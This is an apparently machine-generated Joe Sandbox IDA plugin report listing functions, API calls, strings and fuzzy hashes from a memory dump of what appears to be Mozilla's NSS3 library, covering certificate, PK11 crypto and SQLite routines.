Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 2722097d6fb07f05ac81525024bd3f9fb4675bbc26e849e2c2b5b82333d6207a
Instruction ID: 4f666d05fdbaf4c65723a1f20f137f6aafc41b8e2deea1aa288cb23e146f9b19
Opcode Fuzzy Hash: 2722097d6fb07f05ac81525024bd3f9fb4675bbc26e849e2c2b5b82333d6207a
Instruction Fuzzy Hash: 7D61E3B1E152098BDB04CFA8C9107EEB7B7AF45308F284165D815BB751E731DC25CBA8

Function 6C6D9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C6E0715), ref: 6C6D8859
Part of subcall function 6C6D8850: PR_NewLock.NSS3 ref: 6C6D8874
Part of subcall function 6C6D8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C6D888D

PR_NewLock.NSS3 ref: 6C6D9CAD

Part of subcall function 6C7898D0: calloc.MOZGLUE(00000001,00000084,6C6B0936,00000001,?,6C6B102C), ref: 6C7898E5

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

TlsGetValue.KERNEL32 ref: 6C6D9CE8
EnterCriticalSection.KERNEL32(?,?,6C6DECEC,6C6E2FCD,00000000,?,6C6E2FCD,?), ref: 6C6D9D01
TlsGetValue.KERNEL32(?,?,?,6C6DECEC,6C6E2FCD,00000000,?,6C6E2FCD,?), ref: 6C6D9D38
EnterCriticalSection.KERNEL32(?,?,6C6DECEC,6C6E2FCD,00000000,?,6C6E2FCD,?), ref: 6C6D9D4D
PR_Unlock.NSS3 ref: 6C6D9D70
PR_Unlock.NSS3 ref: 6C6D9DC3
PR_NewLock.NSS3 ref: 6C6D9DDD

Part of subcall function 6C6D88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6E0725,00000000,00000058), ref: 6C6D8906
Part of subcall function 6C6D88D0: EnterCriticalSection.KERNEL32(?), ref: 6C6D891A
Part of subcall function 6C6D88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C6D894A
Part of subcall function 6C6D88D0: calloc.MOZGLUE(00000001,6C6E072D,00000000,00000000,00000000,?,6C6E0725,00000000,00000058), ref: 6C6D8959
Part of subcall function 6C6D88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C6D8993
Part of subcall function 6C6D88D0: PR_Unlock.NSS3(?), ref: 6C6D89AF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: fe770b07bda0ff3aa021b60fd53cd02f1058e55783b140bc20183e474d043b67
Instruction ID: 30554dcb53a4594abf0d202d2ccad5e8acaf83eaa459dd1440dacf08c1182ade
Opcode Fuzzy Hash: fe770b07bda0ff3aa021b60fd53cd02f1058e55783b140bc20183e474d043b67
Instruction Fuzzy Hash: 405152B0A05B059FDB00EF69C19469ABBF0BF4534CF168529D8589BB11DB30F844CBD5

Function 6C7D9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7D9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C7D9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C7D9F73
EnterCriticalSection.KERNEL32(?), ref: 6C7D9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C7D9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C7D9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C7DA01D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f2a710342a29584511bb7b56d1b8046f09bd472b3784a1855793dd70f68b18c8
Instruction ID: 02f00cbc393f3ac3de791691ec8b23ce374c6d94026bd2c57955a686fd983167
Opcode Fuzzy Hash: f2a710342a29584511bb7b56d1b8046f09bd472b3784a1855793dd70f68b18c8
Instruction Fuzzy Hash: CE51B4B2800602DBCB20DF25D58864AB7F4FF14319F268679D85A57B52EB31F885CBD1

Function 6C6CDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C6CDCFA

Part of subcall function 6C789DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DC6
Part of subcall function 6C789DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DD1
Part of subcall function 6C789DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C789DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6CDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C6CDD62
CERT_DestroyCertificate.NSS3(?), ref: 6C6CDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6CDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C6CDD8F

Part of subcall function 6C6E06A0: TlsGetValue.KERNEL32 ref: 6C6E06C2
Part of subcall function 6C6E06A0: EnterCriticalSection.KERNEL32(?), ref: 6C6E06D6
Part of subcall function 6C6E06A0: PR_Unlock.NSS3 ref: 6C6E06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C6CDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C6CDDB7

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 2f4113ce905365b58cc30abb863ec0032225a014be6fe45f724a02756bc826ab
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 8A217AB6F412299BDB019EA4DC40AEFBBB4EF05318B150024E918A7701E721F9158BEB

Function 6C6C3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C73460B,?,?), ref: 6C6C3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C6C3CB9
PL_HashTableLookup.NSS3(?), ref: 6C6C3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C6C3CD6
PR_Unlock.NSS3 ref: 6C6C3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C6C3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C3D03
PR_Unlock.NSS3 ref: 6C6C3D15

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 9fea173fc10fb31e5d18a8d50f03159aaa6aa7e94587facf69f18b7f05942a77
Instruction ID: 4c69655cdc5b10ca5000631b5d89acc5940eca878b6c81e75bb5ee348f5b13bb
Opcode Fuzzy Hash: 9fea173fc10fb31e5d18a8d50f03159aaa6aa7e94587facf69f18b7f05942a77
Instruction Fuzzy Hash: E8112CB6F00115A7DB112A25DC0D8EA7AB8EB0336CB284130ED1C93B11FB26ED58C7D6

Function 6C6C9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E11C0: PR_NewLock.NSS3 ref: 6C6E1216

free.MOZGLUE(?), ref: 6C6C9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C9E4E
TlsGetValue.KERNEL32 ref: 6C6C9EA2

Part of subcall function 6C6D9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C6D9546

EnterCriticalSection.KERNEL32(?), ref: 6C6C9EB6
PR_Unlock.NSS3 ref: 6C6C9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C6C9F18

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 1592cf6e687e115e40fdd477a45f87c584d2f096c3673a3f028eae58306152e4
Instruction ID: 9ef580c0f6b43f467c5a67b6d9c926557e499533fdd3e0c099fa7c52f850cfef
Opcode Fuzzy Hash: 1592cf6e687e115e40fdd477a45f87c584d2f096c3673a3f028eae58306152e4
Instruction Fuzzy Hash: 6281E4B1A00601ABEB109F34DC45AABB7A9FF5534CF154529E84887B01FB31F919C7EA

Function 6C6DDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6DAB10: DeleteCriticalSection.KERNEL32(D958E852,6C6E1397,5B5F5EC0,?,?,6C6DB1EE,2404110F,?,?), ref: 6C6DAB3C
Part of subcall function 6C6DAB10: free.MOZGLUE(D958E836,?,6C6DB1EE,2404110F,?,?), ref: 6C6DAB49
Part of subcall function 6C6DAB10: DeleteCriticalSection.KERNEL32(5D5E6C8D), ref: 6C6DAB5C
Part of subcall function 6C6DAB10: free.MOZGLUE(5D5E6C81), ref: 6C6DAB63
Part of subcall function 6C6DAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C6DAB6F
Part of subcall function 6C6DAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C6DAB76

TlsGetValue.KERNEL32 ref: 6C6DDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C6DDD0E
PK11_IsFriendly.NSS3(?), ref: 6C6DDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C6DDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6DDEA6
PR_Unlock.NSS3(?), ref: 6C6DDF08

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 13d40935598c46166dd0da34801ba4c0bc70adefa01411933f61aab640ea41d3
Instruction ID: 363b7a9e6414f84e06b9525802e0c97c6470333c16ce11954d673cc0da2088e0
Opcode Fuzzy Hash: 13d40935598c46166dd0da34801ba4c0bc70adefa01411933f61aab640ea41d3
Instruction Fuzzy Hash: C391E5B5A002059FDB00DF68C885BAAB7B5BF49308F164029DC199BB51E731F946CFE9

Function 6C644F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C644FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6451BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C6451DF
%s at line %d of [%.10s], xrefs: 6C6451B4
misuse, xrefs: 6C6451AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6451A5

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 62b8b045dd1e97ae3569d9cbdc328da9a5d9fee11aa64a73548e857810a2acb1
Instruction ID: 5ca22ff29bf01104d04616d9cb8af36823930eec15c92fdae30fc9e5974c6f79
Opcode Fuzzy Hash: 62b8b045dd1e97ae3569d9cbdc328da9a5d9fee11aa64a73548e857810a2acb1
Instruction Fuzzy Hash: 2771ABB560420ADBEB00CE15CD80BEA77B9BB88309F14C524FD199BB81D335ED55CBA5

Function 6C6EDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6EDF37
EnterCriticalSection.KERNEL32(?), ref: 6C6EDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6EDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C6EE02B
PR_Unlock.NSS3(?), ref: 6C6EE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE090
PR_Unlock.NSS3(?), ref: 6C6EE0AF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 0a901a461e1bef2473c730551df71b871277caa86ad4750baa5602cfb1b404bf
Instruction ID: 3e2affb53ec19b6b0bf209fa49948618d65d761fd012e9e33bde1d534498d1f6
Opcode Fuzzy Hash: 0a901a461e1bef2473c730551df71b871277caa86ad4750baa5602cfb1b404bf
Instruction Fuzzy Hash: 8B51C171A0A600CFDB20DF25D848B9673B5FF89318F20492AE85A47F91D731E858CBD6

Function 6C6EBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C6EBD1E

Part of subcall function 6C6C2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6C2F0A
Part of subcall function 6C6C2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6C2F1D

Part of subcall function 6C7057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C6CB41E,00000000,00000000,?,00000000,?,6C6CB41E,00000000,00000000,00000001,?), ref: 6C7057E0
Part of subcall function 6C7057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C705843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6EBD8C

Part of subcall function 6C71FAB0: free.MOZGLUE(?,-00000001,?,?,6C6BF673,00000000,00000000), ref: 6C71FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C6EBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C6EBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6EBE3A

Part of subcall function 6C6C3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6C3EC2
Part of subcall function 6C6C3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6C3ED6
Part of subcall function 6C6C3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6C3EEE
Part of subcall function 6C6C3E60: PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C6C3F02
Part of subcall function 6C6C3E60: PL_FreeArenaPool.NSS3 ref: 6C6C3F14
Part of subcall function 6C6C3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6C3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6EBE52

Part of subcall function 6C6C2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6C2CDA,?,00000000), ref: 6C6C2E1E
Part of subcall function 6C6C2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C6C2E33
Part of subcall function 6C6C2E00: TlsGetValue.KERNEL32 ref: 6C6C2E4E
Part of subcall function 6C6C2E00: EnterCriticalSection.KERNEL32(?), ref: 6C6C2E5E
Part of subcall function 6C6C2E00: PL_HashTableLookup.NSS3(?), ref: 6C6C2E71
Part of subcall function 6C6C2E00: PL_HashTableRemove.NSS3(?), ref: 6C6C2E84
Part of subcall function 6C6C2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C6C2E96
Part of subcall function 6C6C2E00: PR_Unlock.NSS3 ref: 6C6C2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6EBE61

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: fdcb1de8af9a6666f0586697c69544c9a8e97f4510e654a422c82df8d8b40b52
Instruction ID: 6d0dfd6226eb43995f1353010d51be7ceb46add803536c4a369b46c56a7b9b3f
Opcode Fuzzy Hash: fdcb1de8af9a6666f0586697c69544c9a8e97f4510e654a422c82df8d8b40b52
Instruction Fuzzy Hash: C54114B5A05310AFC710CF28DC88AAA77E4EF89718F148169FD0997B11E735E905CBDA

Function 6C70AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C70AB3E,?,?,?), ref: 6C70AC35

Part of subcall function 6C6ECEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C6ECF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C70AB3E,?,?,?), ref: 6C70AC55

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C70AB3E,?,?), ref: 6C70AC70

Part of subcall function 6C6EE300: TlsGetValue.KERNEL32 ref: 6C6EE33C
Part of subcall function 6C6EE300: EnterCriticalSection.KERNEL32(?), ref: 6C6EE350
Part of subcall function 6C6EE300: PR_Unlock.NSS3(?), ref: 6C6EE5BC
Part of subcall function 6C6EE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C6EE5CA
Part of subcall function 6C6EE300: TlsGetValue.KERNEL32 ref: 6C6EE5F2
Part of subcall function 6C6EE300: EnterCriticalSection.KERNEL32(?), ref: 6C6EE606
Part of subcall function 6C6EE300: PORT_Alloc_Util.NSS3(?), ref: 6C6EE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C70AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C70AB3E), ref: 6C70ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C70AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C70AD2B

Part of subcall function 6C6EF360: TlsGetValue.KERNEL32(00000000,?,6C70A904,?), ref: 6C6EF38B
Part of subcall function 6C6EF360: EnterCriticalSection.KERNEL32(?,?,?,6C70A904,?), ref: 6C6EF3A0
Part of subcall function 6C6EF360: PR_Unlock.NSS3(?,?,?,?,6C70A904,?), ref: 6C6EF3D3

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 7660a8cabf683a286f2073405e710cf192317da4fa40b8a3878287f9ab5541fd
Instruction ID: 5d9f2df4d2e0b43320a0b7aca6863bac624c4123cc49ec913eb966a0ac54b33e
Opcode Fuzzy Hash: 7660a8cabf683a286f2073405e710cf192317da4fa40b8a3878287f9ab5541fd
Instruction Fuzzy Hash: 593129F1F002095FEB008F258D459AF77A6AF85328F1A8139E8159B741EB31EC05C7A1

Function 6C6E8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C6E8C7C

